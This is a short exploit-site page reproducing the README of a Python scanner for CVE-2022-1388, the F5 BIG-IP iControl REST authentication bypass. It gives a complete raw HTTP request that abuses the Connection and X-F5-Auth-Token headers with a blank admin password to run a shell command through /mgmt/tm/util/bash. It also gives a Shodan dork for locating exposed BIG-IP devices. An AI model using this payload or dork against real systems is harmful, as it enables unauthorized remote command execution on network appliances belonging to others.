Exploit for Missing Authentication for Critical Function in F5 Big-Ip Access Policy Manager

## https://sploitus.com/exploit?id=8F0E3026-9DF1-5AA8-BECC-3F72A7A143C2
# F5 CVE-2022-1388 Scanner
[![forthebadge](https://forthebadge.com/images/badges/made-with-python.svg)](https://forthebadge.com)
[![forthebadge](https://forthebadge.com/images/badges/built-with-love.svg)](https://forthebadge.com)
> BIG-IP iControl REST vulnerability CVE-2022-1388 Scanner


  


## Usage
```
# pip install -r requirements.txt
# pytohn3 CVE-2022-1388-Scanner.py
```


## Request
```
POST /mgmt/tm/util/bash HTTP/1.1
Host: REDACTED:8083
Content-Length: 45
Connection: Keep-Alive, X-F5-Auth-Token
Cache-Control: max-age=0
X-F5-Auth-Token: vvs
Authorization: Basic YWRtaW46

{
"command":"run",
"utilCmdArgs":"-c id"
}
```

## Shodan Dork:
```http.title:"BIG-IP®-+Redirect" +"Server"```